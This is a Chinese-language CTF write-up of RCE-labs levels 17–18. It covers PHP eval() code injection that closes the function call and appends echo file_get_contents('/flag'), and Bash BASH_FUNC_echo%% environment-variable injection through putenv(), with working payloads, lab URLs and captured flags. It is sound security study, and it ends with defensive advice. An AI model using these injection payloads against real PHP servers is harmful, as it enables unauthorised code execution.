【RCELABS】Level 17~18 —— PHP命令执行函数与环境变量注入

【RCELABS】Level 17~18 ------ PHP命令执行函数与环境变量注入

    • 前言
    • [RCELABS - 17:PHP多命令执行函数差异利用](#RCELABS - 17:PHP多命令执行函数差异利用)
    • [RCELABS - 18:命令执行 - 环境变量注入](#RCELABS - 18:命令执行 - 环境变量注入)
    • 总结

前言

本次练习靶场 RCE-labs 出自探姬(ProbiusOfficial)的 HelloCTF 开源项目。

PHP 命令执行函数与环境变量注入是 RCE 题目中较为经典的进阶利用场景。当应用程序对命令参数进行了严格过滤,或直接的命令拼接被 WAF 拦截时,常规的 ;id|cat /flag 等注入方式将难以直接生效。此时需要充分利用 PHP 自身的语言特性与环境变量机制,通过动态函数调用、环境变量劫持、特殊配置项利用等方式,在受限条件下实现远程命令执行。

本部分 Level 17~18 主要聚焦PHP 命令执行函数利用与环境变量注入。两道题目分别从不同维度展开:一道围绕 PHP 中各类命令执行函数的特性差异与绕过思路,另一道则深入环境变量注入的利用原理与构造技巧,整体难度循序渐进,适合系统掌握 PHP 命令执行的多种利用面与环境变量攻击面。

与前面的短字符命令执行相比,这部分题目更加注重对 PHP 语言特性本身的理解。解题过程中不仅需要熟悉 system()exec()shell_exec() 等函数的差异与适用场景,还需要分析环境变量在 PHP 中的传递机制,并结合动态函数调用、配置项篡改等思路,构造出能够绕过限制的完整利用链。

文中所有分析与 Payload 均仅在自行部署的本地靶场环境中进行,仅作为个人学习笔记分享。严禁将文中方法用于任何未经授权的目标,请自觉遵守《网络安全法》等相关法律法规。

整篇笔记统一采用源码分析 → 漏洞原理 → Payload 构造的结构,方便后续复盘与查阅。

开源仓库:https://github.com/ProbiusOfficial/RCE-labs


RCELABS - 17:PHP多命令执行函数差异利用

题目描述

  • 考点:PHP 命令执行函数
  • 描述:在 system、exec、shell_exec、passthru、popen 和 反引号中构造可执行调用。
php 复制代码
<?php 
session_start(); 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-08-11 14:34
# @Repo:   github.com/ProbiusOfficial/RCE-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

--- HelloCTF - RCE靶场 : 命令执行 - PHP命令执行函数 --- 

喵喵喵ww https://www.php.net/manual/zh/ref.exec.php

system() 函数用于在系统权限允许的情况下执行系统命令(Windows 和 Linux 系统均可执行)。eg:system('cat /etc/passwd');
exec() 函数可以执行系统命令,但不会直接输出结果,而是将结果保存到数组中。eg:exec('cat /etc/passwd', $result); print_r($result);
shell_exec() 函数执行系统命令,但返回一个字符串类型的变量来存储系统命令的执行结果。eg:echo shell_exec('cat /etc/passwd');
passthru() 函数执行系统命令并将执行结果输出到页面中,支持二进制数据。eg:passthru('cat /etc/passwd');
popen() 函数执行系统命令,但返回一个资源类型的变量,需要配合 fread() 函数读取结果。eg:$result = popen('cat /etc/passwd', 'r'); echo fread($result, 100);
反引号 用于执行系统命令,返回一个字符串类型的变量来存储命令的执行结果。eg:echo \cat /etc/passwd`;`

在该关卡中,你将会从能够执行系统命令的PHP函数中抽取一个,你需要填充函数的内容来执行某些系统命令以获取flag(tip:flag存储在 /flag 中,当然你也可以尝试其他方法)。


*/
function hello_ctf($function, $content){
    if($function == '``'){
        $code = '`'.$content.'`';
        echo "Your Code: $code <br>";
        eval("echo $code");
    }else
    {
        $code = $function . "(" . $content . ");";
        echo "Your Code: $code <br>";
        eval($code);
    } 
    
}

function get_fun(){

    $func_list = ['system', 'exec', 'shell_exec', 'passthru', 'popen','``'];

    if (!isset($_SESSION['random_func'])) {
        $_SESSION['random_func'] = $func_list[array_rand($func_list)];
    }
    
    $random_func = $_SESSION['random_func'];

    $url_fucn = preg_replace('/_/', '-', $_SESSION['random_func']);

    echo $random_func == '``' ? "获得隐藏运算符: 执行运算符 ,去 https://www.php.net/manual/zh/language.operators.execution.php 详情。<br>" : "获得新的函数: $random_func ,去 https://www.php.net/manual/zh/function.".$url_fucn.".php 查看函数详情。<br>";

    return $_SESSION['random_func'];
}

function start($act){

    $random_func = get_fun();
    
    if($act == "r"){ /* 通过发送GET ?action=r 的方式可以重置当前选中的函数 ------ 或者你可以自己想办法可控它x */
        session_unset();
        session_destroy(); 
    }

    if ($act == "submit"){
        $user_content = $_POST['content']; 
        hello_ctf($random_func, $user_content);
    }
}

isset($_GET['action']) ? start($_GET['action']) : '';

highlight_file(__FILE__);

?>

RCELABS:PHP 多命令执行函数差异利用 ------ 但真正突破口是 eval() 代码注入

题目给了一个 PHP RCE 靶场,随机从以下几种命令执行方式中抽取一种:

php 复制代码
system
exec
shell_exec
passthru
popen
``

题目提示 flag 在:

bash 复制代码
/flag

表面上看,这题是在考察不同 PHP 命令执行函数的差异,例如:

  • system() 会直接回显
  • exec() 默认不直接回显
  • shell_exec() 返回字符串
  • passthru() 直接输出
  • popen() 返回资源句柄
  • 反引号执行 shell 命令并返回结果

但实际审计后发现,这题真正的核心漏洞不是命令执行函数本身,而是:

php 复制代码
eval()

关键代码如下:

php 复制代码
function hello_ctf($function, $content){
    if($function == '``'){
        $code = '`'.$content.'`';
        echo "Your Code: $code <br>";
        eval("echo $code");
    }else
    {
        $code = $function . "(" . $content . ");";
        echo "Your Code: $code <br>";
        eval($code);
    } 
}

程序会把用户提交的 content 拼接进 PHP 代码中,然后交给 eval() 执行。这意味着:用户输入不是单纯作为参数使用,而是直接进入了 PHP 代码上下文。

下面分别看六种函数的原生利用方式:

抽到 system() ------ 直接回显型

system() 是最简单的,执行命令后直接把结果输出到页面。

提交 payload:

php 复制代码
'cat /flag'

拼接后代码:

php 复制代码
system('cat /flag');

页面直接回显 flag 内容,不需要额外处理。这是六种函数里最友好的一种。

抽到 passthru() ------ 直接回显型

passthru()system() 类似,执行命令后也会直接输出结果。区别在于 passthru() 支持二进制数据原样输出,适合读取图片、压缩包等非文本文件。

提交 payload:

php 复制代码
'cat /flag'

拼接后代码:

php 复制代码
passthru('cat /flag');

页面直接回显 flag,用法和 system 完全一致。

抽到反引号 ------ 本题直接回显型

反引号的处理逻辑和其他函数不一样,代码分支是:

php 复制代码
eval("echo `$content`");

外层自带了 echo,所以反引号在本题中也是有回显的。

提交 payload:

bash 复制代码
cat /flag

拼接后代码:

php 复制代码
echo `cat /flag`;

页面直接输出 flag。反引号内部是完整的 Shell 环境,支持分号、管道、重定向等全部 shell 语法。

注意:反引号底层依赖 shell_exec(),如果 disable_functions 禁用了 shell_exec,反引号也会同步失效。

抽到 exec() ------ 无回显型

exec() 执行命令但不直接输出结果,只返回命令的最后一行。如果只传一个参数:

php 复制代码
'cat /flag'

拼接后:

php 复制代码
exec('cat /flag');

命令确实执行了,但页面什么都不显示。因为 exec() 的返回值(最后一行)被直接丢弃了,也没有第二个参数来接收完整输出。

原生思路下,可以用输出重定向把结果写到文件里:

php 复制代码
'cat /flag > /tmp/f'

执行后 flag 写入 /tmp/f,但还得再想办法读出来,比较绕。更直接的方法是用代码逃逸(后面统一讲)。

抽到 shell_exec() ------ 无回显型

shell_exec() 执行命令并返回完整输出字符串,但本题里返回值被直接丢掉了:

php 复制代码
shell_exec('cat /flag');

没有 echo 包裹,返回的字符串不会出现在页面上。

原生传参看不到任何输出,属于"盲执行"状态。

抽到 popen() ------ 无回显型

popen() 是六种函数里最特殊的一个。它需要两个参数:命令和读写模式,返回的是文件指针资源。

原生合法调用:

php 复制代码
'cat /flag','r'

拼接后:

php 复制代码
popen('cat /flag','r');

语法没问题,命令也执行了,但返回的资源句柄没有被 fread()fgets() 读取,所以页面依然空白。

popen() 原生利用起来最麻烦,既要补全参数,又要手动读取输出。


以上是按照题目预期思路,针对六种函数分别构造 payload。但这样做有两个问题:一是需要先判断抽到了哪个函数,二是无回显的函数用起来很别扭。

实际上,因为用户输入直接拼进了 eval(),我们有更通用、更强大的利用方式。

通用逃逸思路:闭合原函数,注入新代码

既然输入会被拼进 函数名(这里);,那我们可以主动把这个函数调用闭合掉,然后追加自己的 PHP 代码。

通用模板:

php 复制代码
合法参数); 自定义PHP代码;//

以抽到 popen 为例,payload:

php 复制代码
0,'r');echo file_get_contents('/flag');//

拼接后代码:

php 复制代码
popen(0,'r');echo file_get_contents('/flag');//);

逐段拆解:

  • 0,'r':补齐 popen() 的两个参数,让前面的函数调用语法合法
  • ):闭合函数调用括号
  • ;:结束第一条语句
  • echo file_get_contents('/flag');:第二条语句,直接用 PHP 读取 flag 文件并输出
  • //:注释掉尾部残留的 );,避免语法错误

真正起作用的是这一句:

php 复制代码
echo file_get_contents('/flag');

为什么用 file_get_contents 而不是 system('cat /flag')?因为这样完全绕开了命令执行函数,直接用 PHP 原生文件读取,不受 disable_functions 中命令执行函数的限制(当然这题没禁,但思路是通用的)。

这套逃逸 payload 适用于除反引号外的全部五种函数。

不管抽到的是 system、exec、shell_exec、passthru 还是 popen,只要把前面的参数补合法就行:

  • 抽到 system:'');echo file_get_contents('/flag');//
  • 抽到 exec:'');echo file_get_contents('/flag');//
  • 抽到 shell_exec:'');echo file_get_contents('/flag');//
  • 抽到 passthru:'');echo file_get_contents('/flag');//
  • 抽到 popen:0,'r');echo file_get_contents('/flag');//

其中单参数函数用 '' 空字符串补位最省事,popen 需要两个参数所以用 0,'r'

反引号的逃逸方式

反引号不是函数调用,没有括号,所以上面的括号逃逸不适用。但反引号也有自己的逃逸方法------用反引号闭合:

bash 复制代码
cat /flag`;echo file_get_contents('/flag');//

拼接后代码:

php 复制代码
echo `cat /flag`;echo file_get_contents('/flag');//`;

用反引号闭合前面的执行运算符,再用分号开启新的 PHP 语句,最后用 // 注释掉尾部的反引号和分号。


实际测试回显

提交 popen 的逃逸 payload 后,页面显示:

复制代码
Your Code: popen(0,'r');echo file_get_contents('/flag');//);

随后成功回显 flag:

复制代码
NSSCTF{b2522f09-58f6-4cb9-9545-ed27132304ce}

本题真正的漏洞本质

这题看起来是:

PHP 命令执行函数差异利用

但实际上更关键的是:

用户输入直接拼接进 eval(),导致任意 PHP 代码执行。

危险代码模式:

php 复制代码
$code = $function . "(" . $content . ");";
eval($code);

只要用户能控制 $content,就可以构造 合法参数);恶意PHP代码;// 完成注入。

这类 payload 的核心套路就是:

复制代码
闭合当前函数调用;
执行自己的PHP代码;
// 注释掉后续残留

为什么这个方法比死磕函数差异更好?

因为不同函数的回显特性不一样:

函数 是否直接回显
system()
passthru()
exec()
shell_exec() 否,返回字符串
popen() 否,返回资源
反引号 否,返回字符串(本题有 echo 所以有回显)

如果按照题目预期,需要针对不同函数写不同 payload。但利用 eval() 注入后,我们不再依赖这些函数的回显特性,而是直接执行:

php 复制代码
echo file_get_contents('/flag');

思路从"命令执行"升级成了"PHP 任意代码执行"。

总结

本题完整利用链:

复制代码
用户可控 content
        ↓
拼接进 PHP 代码字符串
        ↓
进入 eval()
        ↓
闭合原函数调用
        ↓
注入 echo file_get_contents('/flag')
        ↓
读取并输出 flag

通用 payload(适用于 system / exec / shell_exec / passthru):

php 复制代码
'');echo file_get_contents('/flag');//

popen 专用:

php 复制代码
0,'r');echo file_get_contents('/flag');//

反引号专用:

php 复制代码
cat /flag`;echo file_get_contents('/flag');//

一句话总结:这题表面考察 PHP 命令执行函数差异,真正突破口是 eval() 字符串拼接带来的代码注入。只要能闭合原函数调用,就能注入全新的 PHP 语句,直接读取 /flag


RCELABS - 18:命令执行 - 环境变量注入

题目描述

  • 考点:环境变量注入
  • 描述:通过污染环境变量影响 shell 行为,从而间接执行命令。
php 复制代码
<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-08-11 14:34
# @Repo:   github.com/ProbiusOfficial/RCE-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com

--- HelloCTF - RCE靶场 : 命令执行 - 环境变量注入 --- 

来源:P牛2022的文章【我是如何利用环境变量注入执行任意命令】
https://www.leavesongs.com/PENETRATION/how-I-hack-bash-through-environment-injection.html

*/
foreach($_REQUEST['envs'] as $key => $val) {
    putenv("{$key}={$val}");
}

system('echo hello');

highlight_file(__FILE__);

?>

页面初始回显:

text 复制代码
Warning: Invalid argument supplied for foreach() in /var/www/html/index.php on line 15
hello

漏洞原理

核心代码是:

php 复制代码
foreach($_REQUEST['envs'] as $key => $val) {
    putenv("{$key}={$val}");
}

system('echo hello');

程序会遍历用户传入的:

php 复制代码
$_REQUEST['envs']

然后通过:

php 复制代码
putenv()

设置环境变量。

也就是说,我们可以控制服务端执行命令前的环境变量。


putenv() 的作用

putenv() 可以设置当前 PHP 进程的环境变量,例如:

php 复制代码
putenv("A=123");

等价于给当前进程添加一个环境变量:

bash 复制代码
A=123

而后面的代码又调用了:

php 复制代码
system('echo hello');

PHP 的 system() 会启动 shell 执行命令。

所以利用链是:

text 复制代码
用户传入 envs 参数
↓
putenv() 写入环境变量
↓
system() 启动 shell
↓
shell 读取环境变量
↓
触发环境变量注入

关键利用点:Bash 函数导入

Bash 支持通过环境变量导入函数。

函数导入格式如下:

bash 复制代码
BASH_FUNC_函数名%%=() { 函数体; }

例如:

bash 复制代码
BASH_FUNC_echo%%=() { cat /flag; }

含义是:

给 Bash 注入一个名为 echo 的函数,这个函数执行时运行 cat /flag

题目中刚好执行了:

php 复制代码
system('echo hello');

因此我们可以劫持 echo


为什么可以劫持 echo

正常情况下:

bash 复制代码
echo hello

会输出:

text 复制代码
hello

但是如果 Bash 环境变量中存在:

bash 复制代码
BASH_FUNC_echo%%=() { cat /flag; }

Bash 启动后会把它导入为一个函数:

bash 复制代码
echo() {
    cat /flag
}

此时执行:

bash 复制代码
echo hello

不再调用原本的 echo,而是调用我们定义的函数。

于是实际执行效果变成:

bash 复制代码
cat /flag

Payload 构造

PHP 代码接收的是:

php 复制代码
$_REQUEST['envs']

所以我们需要传入数组参数:

text 复制代码
envs[环境变量名]=环境变量值

环境变量名:

text 复制代码
BASH_FUNC_echo%%

环境变量值:

text 复制代码
() { cat /flag; }

URL 中需要编码:

原字符 URL 编码
% %25
空格 %20
{ %7B,也可以直接保留
} %7D,也可以直接保留

最终 payload:

text 复制代码
?envs[BASH_FUNC_echo%25%25]=()%20{%20cat%20/flag;%20}

完整访问地址:

text 复制代码
http://node6.anna.nssctf.cn:27244/?envs[BASH_FUNC_echo%25%25]=()%20{%20cat%20/flag;%20}

实际执行结果

访问后页面回显:

text 复制代码
NSSCTF{a1cf62bb-6ae9-4788-8071-d27845641873}

成功拿到 flag:

text 复制代码
NSSCTF{a1cf62bb-6ae9-4788-8071-d27845641873}

利用链总结

text 复制代码
控制 $_REQUEST['envs']
↓
foreach 遍历参数
↓
putenv("BASH_FUNC_echo%%=() { cat /flag; }")
↓
system('echo hello')
↓
Bash 启动并导入 echo 函数
↓
echo 被劫持为 cat /flag
↓
输出 flag

核心表格总结

项目 内容
漏洞类型 环境变量注入
危险函数 putenv() + system()
可控点 $_REQUEST['envs']
利用机制 Bash 函数导入
劫持对象 echo
目标命令 cat /flag
payload envs[BASH_FUNC_echo%25%25]=()%20{%20cat%20/flag;%20}
最终 flag NSSCTF{a1cf62bb-6ae9-4788-8071-d27845641873}

一句话总结

这题的核心不是直接控制 system() 的参数,而是通过 putenv() 注入 Bash 环境变量,伪造 BASH_FUNC_echo%% 函数,劫持后续 system('echo hello') 中的 echo 命令,从而执行 cat /flag 读取 flag。


总结

完成RCE-Labs Level17~18练习,掌握两类进阶RCE利用方式。

Level17

表面考察6种PHP命令执行函数输出差异;核心漏洞是可控输入拼接进入eval()造成代码注入。

通用思路:闭合原函数调用,注入echo file_get_contents('/flag');读取文件;需要区分popen、反引号的特殊payload。可访问?action=r重置随机函数。

Level18

环境变量注入,依托putenv() + Bash函数导入特性。

构造BASH_FUNC_xxx%%劫持系统命令,在无法修改system参数的条件下实现间接RCE;该方式仅Bash有效。

线上靶场

  1. 特殊字符传输务必URL编码;
  2. 容器环境网络隔离,优先文件读取载荷,慎用反弹Shell。

防御总结

  1. 禁止用户输入直接拼接进eval()
  2. 不允许外部输入控制putenv()
  3. 尽量禁用system/exec等命令执行高危函数;
  4. 调用外部命令优先使用参数化模式。

免责声明

本文所涉及的漏洞原理、Payload构造、渗透思路仅用于个人安全学习、靶场复现与CTF竞赛研究,仅允许在自己拥有授权的本地实验环境中操作

严禁未经授权对任何公网、私有线上服务器实施探测、注入、攻击等行为,此类操作涉嫌违反《中华人民共和国网络安全法》《刑法》相关规定,由此产生的一切法律责任由行为人自行承担。

笔记内所有技术内容仅供安全防御方向学习参考,请勿非法滥用。

相关推荐
冻柠檬飞冰走茶1 小时前
PTA基础编程题目集 7-19 支票面额(C语言实现)
c语言·开发语言·数据结构·算法
破碎的南瓜2 小时前
靶场中使用到的php函数以及每种漏洞的防御方式
开发语言·php
谁看我谁 狼家二丫2 小时前
局域网文件共享实战:从“账户被禁用”到成功互传文件
开发语言·php
醉城夜风~2 小时前
手撕 C++ string:从零实现一个简易字符串类
开发语言·c++·算法
秋田君2 小时前
QT_QT布局常用类QSplitter窗口分割类与QDockWidget窗口停靠类
开发语言·数据库·qt
老王生涯2 小时前
rust开发环境配置-Windows & GNU
开发语言·windows·rust
Yeauty3 小时前
自建 HLS 第一问:fMP4 还是 TS?用 Rust 在进程内把两种都跑出来
开发语言·后端·rust
AC赳赳老秦3 小时前
软著公开信息批量采集:OpenClaw 抓取软件著作权公开数据,分析企业技术布局方向
大数据·网络·人工智能·python·php·deepseek·openclaw
颜x小3 小时前
[C#]泛型类与泛型方法
开发语言·c++·c#